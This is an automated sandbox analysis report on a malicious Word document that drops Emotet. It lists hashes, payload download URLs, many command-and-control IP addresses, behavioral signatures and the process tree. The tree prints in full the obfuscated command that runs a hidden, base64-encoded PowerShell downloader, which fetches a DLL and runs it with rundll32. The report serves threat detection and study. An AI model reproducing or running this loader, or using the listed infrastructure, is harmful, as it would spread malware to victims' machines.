Analysis
-
max time kernel
149s -
max time network
152s -
platform
windows7_x64 -
resource
win7v20201028 -
submitted
11-02-2021 20:11
Behavioral task
behavioral1
Sample
e3e36943a883fd58040051eca25d8bc45e43b13335178d371496aa1a21cb925d.doc
Resource
win7v20201028
Behavioral task
behavioral2
Sample
e3e36943a883fd58040051eca25d8bc45e43b13335178d371496aa1a21cb925d.doc
Resource
win10v20201028
General
-
Target
e3e36943a883fd58040051eca25d8bc45e43b13335178d371496aa1a21cb925d.doc
-
Size
167KB
-
MD5
638d1d539e13424a5c555bfcf025abad
-
SHA1
5d5878c2bd87669f6d1194ddfe120094a2590795
-
SHA256
e3e36943a883fd58040051eca25d8bc45e43b13335178d371496aa1a21cb925d
-
SHA512
b5b354f4fdbfb411d727b63f0d61a5dcff2d4936cd268b320fa27932e3f4feb54d65135855115272b09147ca3464a7cc28c3cb254359abb527c948a8b759e7ed
Malware Config
Extracted
http://dripsweet.com/wp-admin/gTiO/
http://jbsmediaventures.com/wp-content/V/
https://www.r3-tech.biz/wp-admin/VT/
http://yaginc.com/images/tk/
http://novo2.deussalveobrasil.com.br/tractor-parts-gh28c/9/
http://trekkingfestival.com/demo/C/
http://narmada.mykfn.com/app/DqKG1/
Extracted
emotet
Epoch2
69.38.130.14:80
195.159.28.230:8080
162.241.204.233:8080
115.21.224.117:80
78.189.148.42:80
181.165.68.127:80
78.188.225.105:80
161.0.153.60:80
89.106.251.163:80
172.125.40.123:80
5.39.91.110:7080
110.145.11.73:80
190.251.200.206:80
144.217.7.207:7080
75.109.111.18:80
75.177.207.146:80
139.59.60.244:8080
70.183.211.3:80
95.213.236.64:8080
61.19.246.238:443
174.118.202.24:443
71.72.196.159:80
138.68.87.218:443
24.164.79.147:8080
49.205.182.134:80
24.231.88.85:80
121.124.124.40:7080
95.9.5.93:80
118.83.154.64:443
78.24.219.147:8080
104.131.11.150:443
85.105.205.77:8080
108.53.88.101:443
187.161.206.24:80
203.153.216.189:7080
37.187.72.193:8080
185.94.252.104:443
157.245.99.39:8080
50.91.114.38:80
87.106.139.101:8080
74.128.121.17:80
62.75.141.82:80
37.139.21.175:8080
190.103.228.24:80
134.209.144.106:443
78.182.254.231:80
186.74.215.34:80
180.222.161.85:80
69.49.88.46:80
202.134.4.211:8080
75.113.193.72:80
139.162.60.124:8080
79.137.83.50:443
123.176.25.234:80
172.105.13.66:443
93.146.48.84:80
109.116.245.80:80
41.185.28.84:8080
98.109.133.80:80
194.190.67.75:80
110.145.101.66:443
136.244.110.184:8080
24.179.13.119:80
89.216.122.92:80
139.99.158.11:443
172.86.188.251:8080
74.40.205.197:443
62.171.142.179:8080
167.114.153.111:8080
119.59.116.21:8080
74.58.215.226:80
188.165.214.98:8080
172.104.97.173:8080
197.211.245.21:80
66.57.108.14:443
188.219.31.12:80
168.235.67.138:7080
24.69.65.8:8080
173.70.61.180:80
110.142.236.207:80
51.89.36.180:443
46.105.131.79:8080
194.4.58.192:7080
220.245.198.194:80
109.74.5.95:8080
24.178.90.49:80
181.171.209.241:443
59.21.235.119:80
94.23.237.171:443
12.175.220.98:80
217.20.166.178:7080
50.116.111.59:8080
176.111.60.55:8080
200.116.145.225:443
120.150.60.189:80
185.201.9.197:8080
202.134.4.216:8080
120.150.218.241:443
2.58.16.89:8080
70.92.118.112:80
74.208.45.104:8080
79.130.130.240:8080
190.240.194.77:443
85.105.111.166:80
115.94.207.99:443
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
cmd.exedescription pid pid_target process target process Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 316 612 cmd.exe -
Blocklisted process makes network request 10 IoCs
Processes:
powershell.exerundll32.exeflow pid process 7 1664 powershell.exe 9 1664 powershell.exe 12 1664 powershell.exe 14 1664 powershell.exe 16 1664 powershell.exe 18 1964 rundll32.exe 21 1964 rundll32.exe 22 1964 rundll32.exe 25 1964 rundll32.exe 26 1964 rundll32.exe -
Loads dropped DLL 8 IoCs
Processes:
rundll32.exerundll32.exepid process 480 rundll32.exe 480 rundll32.exe 480 rundll32.exe 480 rundll32.exe 1592 rundll32.exe 1592 rundll32.exe 1592 rundll32.exe 1592 rundll32.exe -
Drops file in System32 directory 2 IoCs
Processes:
powershell.exerundll32.exedescription ioc process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\SysWOW64\Bnqbncsf\jwybrdy.enp rundll32.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Drops file in Windows directory 1 IoCs
Processes:
WINWORD.EXEdescription ioc process File opened for modification C:\Windows\Debug\WIA\wiatrace.log WINWORD.EXE -
Office loads VBA resources, possible macro or embedded object present
-
Processes:
WINWORD.EXEdescription ioc process Set value (int) \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\Toolbar WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel WINWORD.EXE Set value (int) \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\MenuExt WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105" WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
WINWORD.EXEpid process 1596 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 6 IoCs
Processes:
powershell.exerundll32.exepid process 1664 powershell.exe 1664 powershell.exe 1964 rundll32.exe 1964 rundll32.exe 1964 rundll32.exe 1964 rundll32.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 1664 powershell.exe -
Suspicious use of FindShellTrayWindow 2 IoCs
Processes:
WINWORD.EXEpid process 1596 WINWORD.EXE 1596 WINWORD.EXE -
Suspicious use of SetWindowsHookEx 2 IoCs
Processes:
WINWORD.EXEpid process 1596 WINWORD.EXE 1596 WINWORD.EXE -
Suspicious use of WriteProcessMemory 37 IoCs
Processes:
cmd.exepowershell.exerundll32.exerundll32.exerundll32.exerundll32.exedescription pid process target process PID 316 wrote to memory of 1460 316 cmd.exe msg.exe PID 316 wrote to memory of 1460 316 cmd.exe msg.exe PID 316 wrote to memory of 1460 316 cmd.exe msg.exe PID 316 wrote to memory of 1664 316 cmd.exe powershell.exe PID 316 wrote to memory of 1664 316 cmd.exe powershell.exe PID 316 wrote to memory of 1664 316 cmd.exe powershell.exe PID 1664 wrote to memory of 1524 1664 powershell.exe rundll32.exe PID 1664 wrote to memory of 1524 1664 powershell.exe rundll32.exe PID 1664 wrote to memory of 1524 1664 powershell.exe rundll32.exe PID 1524 wrote to memory of 480 1524 rundll32.exe rundll32.exe PID 1524 wrote to memory of 480 1524 rundll32.exe rundll32.exe PID 1524 wrote to memory of 480 1524 rundll32.exe rundll32.exe PID 1524 wrote to memory of 480 1524 rundll32.exe rundll32.exe PID 1524 wrote to memory of 480 1524 rundll32.exe rundll32.exe PID 1524 wrote to memory of 480 1524 rundll32.exe rundll32.exe PID 1524 wrote to memory of 480 1524 rundll32.exe rundll32.exe PID 480 wrote to memory of 1592 480 rundll32.exe rundll32.exe PID 480 wrote to memory of 1592 480 rundll32.exe rundll32.exe PID 480 wrote to memory of 1592 480 rundll32.exe rundll32.exe PID 480 wrote to memory of 1592 480 rundll32.exe rundll32.exe PID 480 wrote to memory of 1592 480 rundll32.exe rundll32.exe PID 480 wrote to memory of 1592 480 rundll32.exe rundll32.exe PID 480 wrote to memory of 1592 480 rundll32.exe rundll32.exe PID 1592 wrote to memory of 432 1592 rundll32.exe rundll32.exe PID 1592 wrote to memory of 432 1592 rundll32.exe rundll32.exe PID 1592 wrote to memory of 432 1592 rundll32.exe rundll32.exe PID 1592 wrote to memory of 432 1592 rundll32.exe rundll32.exe PID 1592 wrote to memory of 432 1592 rundll32.exe rundll32.exe PID 1592 wrote to memory of 432 1592 rundll32.exe rundll32.exe PID 1592 wrote to memory of 432 1592 rundll32.exe rundll32.exe PID 432 wrote to memory of 1964 432 rundll32.exe rundll32.exe PID 432 wrote to memory of 1964 432 rundll32.exe rundll32.exe PID 432 wrote to memory of 1964 432 rundll32.exe rundll32.exe PID 432 wrote to memory of 1964 432 rundll32.exe rundll32.exe PID 432 wrote to memory of 1964 432 rundll32.exe rundll32.exe PID 432 wrote to memory of 1964 432 rundll32.exe rundll32.exe PID 432 wrote to memory of 1964 432 rundll32.exe rundll32.exe
Processes
-
C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\e3e36943a883fd58040051eca25d8bc45e43b13335178d371496aa1a21cb925d.doc"1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
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C:\Windows\system32\cmd.execmd cmd /c m^s^g %username% /v Wo^rd exp^erien^ced an er^ror tryi^ng to op^en th^e fi^le. & p^owe^rs^he^ll^ -w hi^dd^en -^e^nc IABzAEUAVAAgACgAIgA4AHoAdwAiACsAIgBIACIAKQAgACgAIAAgAFsAdAB5AFAARQBdACgAIgB7ADIAfQB7ADQAfQB7ADMAfQB7ADUAfQB7ADEAfQB7ADAAfQAiAC0AZgAnAE8AcgB5ACcALAAnAEUAYwB0ACcALAAnAFMAeQBTAHQAZQAnACwAJwBvAC4AZAAnACwAJwBtAC4AaQAnACwAJwBJAFIAJwApACAAIAApACAAOwBzAGUAVAAgACAAKAAnAEQAQwAnACsAJwB1AFIAJwApACAAIAAoACAAIABbAHQAeQBwAGUAXQAoACIAewAwAH0AewA4AH0AewA0AH0AewA5AH0AewAyAH0AewAxAH0AewAzAH0AewA2AH0AewA1AH0AewA3AH0AIgAgAC0ARgAgACcAUwB5AHMAJwAsACcARQBSACcALAAnAFMAJwAsACcAdgAnACwAJwAuAE4ARQBUACcALAAnAG8AaQBuAFQAbQBhACcALAAnAGkAYwBFAFAAJwAsACcATgBBAGcAZQByACcALAAnAHQARQBNACcALAAnAC4AJwApACAAKQAgADsAJABUAHQAZQAyAGEAdAAxAD0AJABLADYAMgBWACAAKwAgAFsAYwBoAGEAcgBdACgAMwAzACkAIAArACAAJABTADcAMABNADsAJABJADQAXwBKAD0AKAAnAFUAMAAnACsAJwA2AEkAJwApADsAIAAoACAAZwBlAHQALQB2AGEAUgBpAEEAQgBsAEUAIAAoACIAOABaAHcAIgArACIASAAiACkAIAAtAHYAQQBsAHUAZQBvAG4AbAAgACkAOgA6ACIAQwByAEUAQQBgAFQAZQBgAGQASQBSAGAAZQBjAFQAYABvAHIAeQAiACgAJABIAE8ATQBFACAAKwAgACgAKAAoACcAZwA3AGkAJwArACcARQAnACkAKwAnADgAJwArACgAJwBqADkAJwArACcAdwAnACkAKwAoACcAXwAnACsAJwBsAGcAJwArACcANwBpAFkAcwAxAHcAJwArACcAdQAnACkAKwAoACcAbgA1ACcAKwAnAGcANwBpACcAKQApACAAIAAtAEMAcgBFAFAATABhAEMARQAoAFsAQwBIAGEAUgBdADEAMAAzACsAWwBDAEgAYQBSAF0ANQA1ACsAWwBDAEgAYQBSAF0AMQAwADUAKQAsAFsAQwBIAGEAUgBdADkAMgApACkAOwAkAEUAOAA2AFAAPQAoACcAVwAyACcAKwAnADIAVQAnACkAOwAgACAAKAAgACAASQB0AGUAbQAgACgAIgBWACIAKwAiAGEAUgBJAEEAQgBMACIAKwAiAGUAOgBEAEMAVQBSACIAKQAgACAAKQAuAFYAQQBsAHUARQA6ADoAIgBzAGUAYwB1AFIAYABJAFQAWQBQAFIAbwBgAFQATwBjAGAAbwBsACIAIAA9ACAAKAAnAFQAJwArACgAJwBsACcAKwAnAHMAMQAyACcAKQApADsAJABFADUAOABDAD0AKAAoACcATQAnACsAJwA1ADAAJwApACsAJwBWACcAKQA7ACQASQB2AGYAdAB5AHAAdwAgAD0AIAAoACgAJwBJADQAJwArACcANQAnACkAKwAnAFEAJwApADsAJABaADAANwBJAD0AKAAoACcAVAAxACcAKwAnADEAJwApACsAJwBDACcAKQA7ACQASwBwAHoAZAA3AGMAZQA9ACQASABPAE0ARQArACgAKAAoACcAMQAwADkAJwArACcARQAnACkAKwAnADgAJwArACgAJwBqACcAKwAnADkAdwAnACkAKwAoACcAXwBsADEAMAA5AFkAcwAnACsAJwAxACcAKwAnAHcAJwApACsAJwB1AG4AJwArACcANQAxACcAKwAnADAAOQAnACkALgAiAHIARQBwAGAAbABhAEMARQAiACgAKABbAGMASABhAHIAXQA0ADkAKwBbAGMASABhAHIAXQA0ADgAKwBbAGMASABhAHIAXQA1ADcAKQAsAFsAUwBUAFIASQBuAEcAXQBbAGMASABhAHIAXQA5ADIAKQApACsAJABJAHYAZgB0AHkAcAB3ACsAJwAuAGQAJwAgACsAIAAnAGwAbAAnADsAJABTADEANwBCAD0AKAAnAE8AJwArACgAJwA1ADIAJwArACcARAAnACkAKQA7ACQATwBjAHkAZQB4AHMAMAA9ACcAaAAnACAAKwAgACcAdAB0ACcAIAArACAAJwBwACcAOwAkAFcAYwB5AGIAZwAxADcAPQAoACcAeAAnACsAJwAgAFsAJwArACgAJwAgACcAKwAnAHMAaAAnACkAKwAoACcAIAAnACsAJwBiADoALwAvACcAKQArACgAJwBkAHIAaQBwAHMAdwBlACcAKwAnAGUAdAAnACsAJwAuAGMAJwArACcAbwBtACcAKwAnAC8AdwAnACkAKwAoACcAcAAtAGEAJwArACcAZABtAGkAbgAvAGcAJwArACcAVABpAE8ALwAnACsAJwAhACcAKQArACgAJwB4ACcAKwAnACAAWwAnACsAJwAgAHMAaAAgAGIAOgAnACsAJwAvAC8AagAnACkAKwAoACcAYgBzAG0AZQAnACsAJwBkACcAKwAnAGkAJwApACsAKAAnAGEAJwArACcAdgBlAG4AJwApACsAKAAnAHQAdQByACcAKwAnAGUAcwAuAGMAbwBtAC8AdwAnACsAJwBwACcAKwAnAC0AYwBvAG4AdABlAG4AdAAvAFYAJwArACcALwAhAHgAJwArACcAIABbACcAKQArACcAIABzACcAKwAoACcAaAAnACsAJwAgAGIAJwApACsAJwBzACcAKwAoACcAOgAvACcAKwAnAC8AJwApACsAKAAnAHcAdwAnACsAJwB3ACcAKQArACgAJwAuAHIAJwArACcAMwAtAHQAJwApACsAKAAnAGUAYwAnACsAJwBoACcAKQArACcALgBiACcAKwAoACcAaQB6ACcAKwAnAC8AJwApACsAKAAnAHcAJwArACcAcAAtAGEAZAAnACkAKwAoACcAbQBpAG4AJwArACcALwAnACsAJwBWAFQALwAhACcAKQArACgAJwB4ACcAKwAnACAAWwAnACkAKwAoACcAIABzAGgAJwArACcAIAAnACkAKwAoACcAYgA6AC8ALwB5AGEAJwArACcAZwBpACcAKQArACgAJwBuACcAKwAnAGMAJwArACcALgBjAG8AbQAvAGkAbQBhAGcAZQBzACcAKwAnAC8AdABrAC8AIQAnACsAJwB4ACAAWwAgACcAKQArACgAJwBzAGgAIABiACcAKwAnADoALwAnACkAKwAoACcALwBuAG8AdgAnACsAJwBvADIAJwArACcALgAnACkAKwAoACcAZABlACcAKwAnAHUAcwAnACsAJwBzAGEAbAB2ACcAKwAnAGUAbwBiAHIAYQBzAGkAJwApACsAKAAnAGwALgBjAG8AJwArACcAbQAnACkAKwAnAC4AYgAnACsAJwByACcAKwAoACcALwB0AHIAYQAnACsAJwBjAHQAbwAnACkAKwAnAHIALQAnACsAJwBwACcAKwAoACcAYQAnACsAJwByAHQAJwApACsAJwBzAC0AJwArACcAZwBoACcAKwAoACcAMgAnACsAJwA4AGMALwA5AC8AIQAnACkAKwAoACcAeAAgAFsAIAAnACsAJwBzACcAKQArACgAJwBoACAAJwArACcAYgA6AC8AJwApACsAKAAnAC8AdAByAGUAawBrACcAKwAnAGkAbgAnACkAKwAoACcAZwBmAGUAcwB0ACcAKwAnAGkAdgAnACsAJwBhAGwAJwApACsAKAAnAC4AYwBvAG0ALwAnACsAJwBkACcAKwAnAGUAbQAnACsAJwBvAC8AJwArACcAQwAvACEAeAAgAFsAIABzACcAKQArACgAJwBoACAAYgA6ACcAKwAnAC8AJwApACsAJwAvACcAKwAoACcAbgBhAHIAJwArACcAbQAnACkAKwAoACcAYQAnACsAJwBkAGEAJwArACcALgBtAHkAawBmACcAKQArACgAJwBuACcAKwAnAC4AYwBvACcAKQArACgAJwBtAC8AYQBwAHAALwAnACsAJwBEAHEASwAnACsAJwBHADEALwAnACkAKQAuACIAcgBlAGAAcABsAGAAQQBDAGUAIgAoACgAKAAnAHgAIAAnACsAJwBbACcAKQArACgAJwAgACcAKwAnAHMAaAAnACkAKwAnACAAYgAnACkALAAoAFsAYQByAHIAYQB5AF0AKAAnAG4AagAnACwAJwB0AHIAJwApACwAJwB5AGoAJwAsACcAcwBjACcALAAkAE8AYwB5AGUAeABzADAALAAnAHcAZAAnACkAWwAzAF0AKQAuACIAUwBwAGAAbABpAHQAIgAoACQAWQA3ADAAQQAgACsAIAAkAFQAdABlADIAYQB0ADEAIAArACAAJABLADEAOABWACkAOwAkAFYAMwAwAFkAPQAoACcAQQA3ACcAKwAnADkAVgAnACkAOwBmAG8AcgBlAGEAYwBoACAAKAAkAEwAYQB3ADEAOABxADUAIABpAG4AIAAkAFcAYwB5AGIAZwAxADcAKQB7AHQAcgB5AHsAKAAuACgAJwBOAGUAdwAtACcAKwAnAE8AJwArACcAYgBqAGUAYwAnACsAJwB0ACcAKQAgAFMAWQBzAFQARQBNAC4AbgBlAHQALgBXAGUAYgBjAEwAaQBlAE4AVAApAC4AIgBkAE8AdwBgAE4ATABgAE8AYQBEAEYAaQBgAGwARQAiACgAJABMAGEAdwAxADgAcQA1ACwAIAAkAEsAcAB6AGQANwBjAGUAKQA7ACQARAA1ADcARwA9ACgAJwBLADAAJwArACcAOQBYACcAKQA7AEkAZgAgACgAKAAuACgAJwBHAGUAJwArACcAdAAtAEkAdAAnACsAJwBlAG0AJwApACAAJABLAHAAegBkADcAYwBlACkALgAiAGwAZQBgAE4AZwBgAFQASAAiACAALQBnAGUAIAA0ADgAOAAzADEAKQAgAHsALgAoACcAcgB1AG4AZABsACcAKwAnAGwAJwArACcAMwAyACcAKQAgACQASwBwAHoAZAA3AGMAZQAsACgAKAAnAEEAbgAnACsAJwB5AFMAJwApACsAKAAnAHQAJwArACcAcgBpACcAKQArACcAbgBnACcAKQAuACIAdABPAGAAcwBgAFQAUgBJAG4AZwAiACgAKQA7ACQARwA0ADAAUwA9ACgAKAAnAFkANwAnACsAJwA4ACcAKQArACcATwAnACkAOwBiAHIAZQBhAGsAOwAkAEsAMwA4AEEAPQAoACcARwA3ACcAKwAnADQAWAAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFEANAA3AFEAPQAoACgAJwBaADgAJwArACcANQAnACkAKwAnAEgAJwApAA==1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\msg.exemsg Admin /v Word experienced an error trying to open the file.2⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -w hidden -enc IABzAEUAVAAgACgAIgA4AHoAdwAiACsAIgBIACIAKQAgACgAIAAgAFsAdAB5AFAARQBdACgAIgB7ADIAfQB7ADQAfQB7ADMAfQB7ADUAfQB7ADEAfQB7ADAAfQAiAC0AZgAnAE8AcgB5ACcALAAnAEUAYwB0ACcALAAnAFMAeQBTAHQAZQAnACwAJwBvAC4AZAAnACwAJwBtAC4AaQAnACwAJwBJAFIAJwApACAAIAApACAAOwBzAGUAVAAgACAAKAAnAEQAQwAnACsAJwB1AFIAJwApACAAIAAoACAAIABbAHQAeQBwAGUAXQAoACIAewAwAH0AewA4AH0AewA0AH0AewA5AH0AewAyAH0AewAxAH0AewAzAH0AewA2AH0AewA1AH0AewA3AH0AIgAgAC0ARgAgACcAUwB5AHMAJwAsACcARQBSACcALAAnAFMAJwAsACcAdgAnACwAJwAuAE4ARQBUACcALAAnAG8AaQBuAFQAbQBhACcALAAnAGkAYwBFAFAAJwAsACcATgBBAGcAZQByACcALAAnAHQARQBNACcALAAnAC4AJwApACAAKQAgADsAJABUAHQAZQAyAGEAdAAxAD0AJABLADYAMgBWACAAKwAgAFsAYwBoAGEAcgBdACgAMwAzACkAIAArACAAJABTADcAMABNADsAJABJADQAXwBKAD0AKAAnAFUAMAAnACsAJwA2AEkAJwApADsAIAAoACAAZwBlAHQALQB2AGEAUgBpAEEAQgBsAEUAIAAoACIAOABaAHcAIgArACIASAAiACkAIAAtAHYAQQBsAHUAZQBvAG4AbAAgACkAOgA6ACIAQwByAEUAQQBgAFQAZQBgAGQASQBSAGAAZQBjAFQAYABvAHIAeQAiACgAJABIAE8ATQBFACAAKwAgACgAKAAoACcAZwA3AGkAJwArACcARQAnACkAKwAnADgAJwArACgAJwBqADkAJwArACcAdwAnACkAKwAoACcAXwAnACsAJwBsAGcAJwArACcANwBpAFkAcwAxAHcAJwArACcAdQAnACkAKwAoACcAbgA1ACcAKwAnAGcANwBpACcAKQApACAAIAAtAEMAcgBFAFAATABhAEMARQAoAFsAQwBIAGEAUgBdADEAMAAzACsAWwBDAEgAYQBSAF0ANQA1ACsAWwBDAEgAYQBSAF0AMQAwADUAKQAsAFsAQwBIAGEAUgBdADkAMgApACkAOwAkAEUAOAA2AFAAPQAoACcAVwAyACcAKwAnADIAVQAnACkAOwAgACAAKAAgACAASQB0AGUAbQAgACgAIgBWACIAKwAiAGEAUgBJAEEAQgBMACIAKwAiAGUAOgBEAEMAVQBSACIAKQAgACAAKQAuAFYAQQBsAHUARQA6ADoAIgBzAGUAYwB1AFIAYABJAFQAWQBQAFIAbwBgAFQATwBjAGAAbwBsACIAIAA9ACAAKAAnAFQAJwArACgAJwBsACcAKwAnAHMAMQAyACcAKQApADsAJABFADUAOABDAD0AKAAoACcATQAnACsAJwA1ADAAJwApACsAJwBWACcAKQA7ACQASQB2AGYAdAB5AHAAdwAgAD0AIAAoACgAJwBJADQAJwArACcANQAnACkAKwAnAFEAJwApADsAJABaADAANwBJAD0AKAAoACcAVAAxACcAKwAnADEAJwApACsAJwBDACcAKQA7ACQASwBwAHoAZAA3AGMAZQA9ACQASABPAE0ARQArACgAKAAoACcAMQAwADkAJwArACcARQAnACkAKwAnADgAJwArACgAJwBqACcAKwAnADkAdwAnACkAKwAoACcAXwBsADEAMAA5AFkAcwAnACsAJwAxACcAKwAnAHcAJwApACsAJwB1AG4AJwArACcANQAxACcAKwAnADAAOQAnACkALgAiAHIARQBwAGAAbABhAEMARQAiACgAKABbAGMASABhAHIAXQA0ADkAKwBbAGMASABhAHIAXQA0ADgAKwBbAGMASABhAHIAXQA1ADcAKQAsAFsAUwBUAFIASQBuAEcAXQBbAGMASABhAHIAXQA5ADIAKQApACsAJABJAHYAZgB0AHkAcAB3ACsAJwAuAGQAJwAgACsAIAAnAGwAbAAnADsAJABTADEANwBCAD0AKAAnAE8AJwArACgAJwA1ADIAJwArACcARAAnACkAKQA7ACQATwBjAHkAZQB4AHMAMAA9ACcAaAAnACAAKwAgACcAdAB0ACcAIAArACAAJwBwACcAOwAkAFcAYwB5AGIAZwAxADcAPQAoACcAeAAnACsAJwAgAFsAJwArACgAJwAgACcAKwAnAHMAaAAnACkAKwAoACcAIAAnACsAJwBiADoALwAvACcAKQArACgAJwBkAHIAaQBwAHMAdwBlACcAKwAnAGUAdAAnACsAJwAuAGMAJwArACcAbwBtACcAKwAnAC8AdwAnACkAKwAoACcAcAAtAGEAJwArACcAZABtAGkAbgAvAGcAJwArACcAVABpAE8ALwAnACsAJwAhACcAKQArACgAJwB4ACcAKwAnACAAWwAnACsAJwAgAHMAaAAgAGIAOgAnACsAJwAvAC8AagAnACkAKwAoACcAYgBzAG0AZQAnACsAJwBkACcAKwAnAGkAJwApACsAKAAnAGEAJwArACcAdgBlAG4AJwApACsAKAAnAHQAdQByACcAKwAnAGUAcwAuAGMAbwBtAC8AdwAnACsAJwBwACcAKwAnAC0AYwBvAG4AdABlAG4AdAAvAFYAJwArACcALwAhAHgAJwArACcAIABbACcAKQArACcAIABzACcAKwAoACcAaAAnACsAJwAgAGIAJwApACsAJwBzACcAKwAoACcAOgAvACcAKwAnAC8AJwApACsAKAAnAHcAdwAnACsAJwB3ACcAKQArACgAJwAuAHIAJwArACcAMwAtAHQAJwApACsAKAAnAGUAYwAnACsAJwBoACcAKQArACcALgBiACcAKwAoACcAaQB6ACcAKwAnAC8AJwApACsAKAAnAHcAJwArACcAcAAtAGEAZAAnACkAKwAoACcAbQBpAG4AJwArACcALwAnACsAJwBWAFQALwAhACcAKQArACgAJwB4ACcAKwAnACAAWwAnACkAKwAoACcAIABzAGgAJwArACcAIAAnACkAKwAoACcAYgA6AC8ALwB5AGEAJwArACcAZwBpACcAKQArACgAJwBuACcAKwAnAGMAJwArACcALgBjAG8AbQAvAGkAbQBhAGcAZQBzACcAKwAnAC8AdABrAC8AIQAnACsAJwB4ACAAWwAgACcAKQArACgAJwBzAGgAIABiACcAKwAnADoALwAnACkAKwAoACcALwBuAG8AdgAnACsAJwBvADIAJwArACcALgAnACkAKwAoACcAZABlACcAKwAnAHUAcwAnACsAJwBzAGEAbAB2ACcAKwAnAGUAbwBiAHIAYQBzAGkAJwApACsAKAAnAGwALgBjAG8AJwArACcAbQAnACkAKwAnAC4AYgAnACsAJwByACcAKwAoACcALwB0AHIAYQAnACsAJwBjAHQAbwAnACkAKwAnAHIALQAnACsAJwBwACcAKwAoACcAYQAnACsAJwByAHQAJwApACsAJwBzAC0AJwArACcAZwBoACcAKwAoACcAMgAnACsAJwA4AGMALwA5AC8AIQAnACkAKwAoACcAeAAgAFsAIAAnACsAJwBzACcAKQArACgAJwBoACAAJwArACcAYgA6AC8AJwApACsAKAAnAC8AdAByAGUAawBrACcAKwAnAGkAbgAnACkAKwAoACcAZwBmAGUAcwB0ACcAKwAnAGkAdgAnACsAJwBhAGwAJwApACsAKAAnAC4AYwBvAG0ALwAnACsAJwBkACcAKwAnAGUAbQAnACsAJwBvAC8AJwArACcAQwAvACEAeAAgAFsAIABzACcAKQArACgAJwBoACAAYgA6ACcAKwAnAC8AJwApACsAJwAvACcAKwAoACcAbgBhAHIAJwArACcAbQAnACkAKwAoACcAYQAnACsAJwBkAGEAJwArACcALgBtAHkAawBmACcAKQArACgAJwBuACcAKwAnAC4AYwBvACcAKQArACgAJwBtAC8AYQBwAHAALwAnACsAJwBEAHEASwAnACsAJwBHADEALwAnACkAKQAuACIAcgBlAGAAcABsAGAAQQBDAGUAIgAoACgAKAAnAHgAIAAnACsAJwBbACcAKQArACgAJwAgACcAKwAnAHMAaAAnACkAKwAnACAAYgAnACkALAAoAFsAYQByAHIAYQB5AF0AKAAnAG4AagAnACwAJwB0AHIAJwApACwAJwB5AGoAJwAsACcAcwBjACcALAAkAE8AYwB5AGUAeABzADAALAAnAHcAZAAnACkAWwAzAF0AKQAuACIAUwBwAGAAbABpAHQAIgAoACQAWQA3ADAAQQAgACsAIAAkAFQAdABlADIAYQB0ADEAIAArACAAJABLADEAOABWACkAOwAkAFYAMwAwAFkAPQAoACcAQQA3ACcAKwAnADkAVgAnACkAOwBmAG8AcgBlAGEAYwBoACAAKAAkAEwAYQB3ADEAOABxADUAIABpAG4AIAAkAFcAYwB5AGIAZwAxADcAKQB7AHQAcgB5AHsAKAAuACgAJwBOAGUAdwAtACcAKwAnAE8AJwArACcAYgBqAGUAYwAnACsAJwB0ACcAKQAgAFMAWQBzAFQARQBNAC4AbgBlAHQALgBXAGUAYgBjAEwAaQBlAE4AVAApAC4AIgBkAE8AdwBgAE4ATABgAE8AYQBEAEYAaQBgAGwARQAiACgAJABMAGEAdwAxADgAcQA1ACwAIAAkAEsAcAB6AGQANwBjAGUAKQA7ACQARAA1ADcARwA9ACgAJwBLADAAJwArACcAOQBYACcAKQA7AEkAZgAgACgAKAAuACgAJwBHAGUAJwArACcAdAAtAEkAdAAnACsAJwBlAG0AJwApACAAJABLAHAAegBkADcAYwBlACkALgAiAGwAZQBgAE4AZwBgAFQASAAiACAALQBnAGUAIAA0ADgAOAAzADEAKQAgAHsALgAoACcAcgB1AG4AZABsACcAKwAnAGwAJwArACcAMwAyACcAKQAgACQASwBwAHoAZAA3AGMAZQAsACgAKAAnAEEAbgAnACsAJwB5AFMAJwApACsAKAAnAH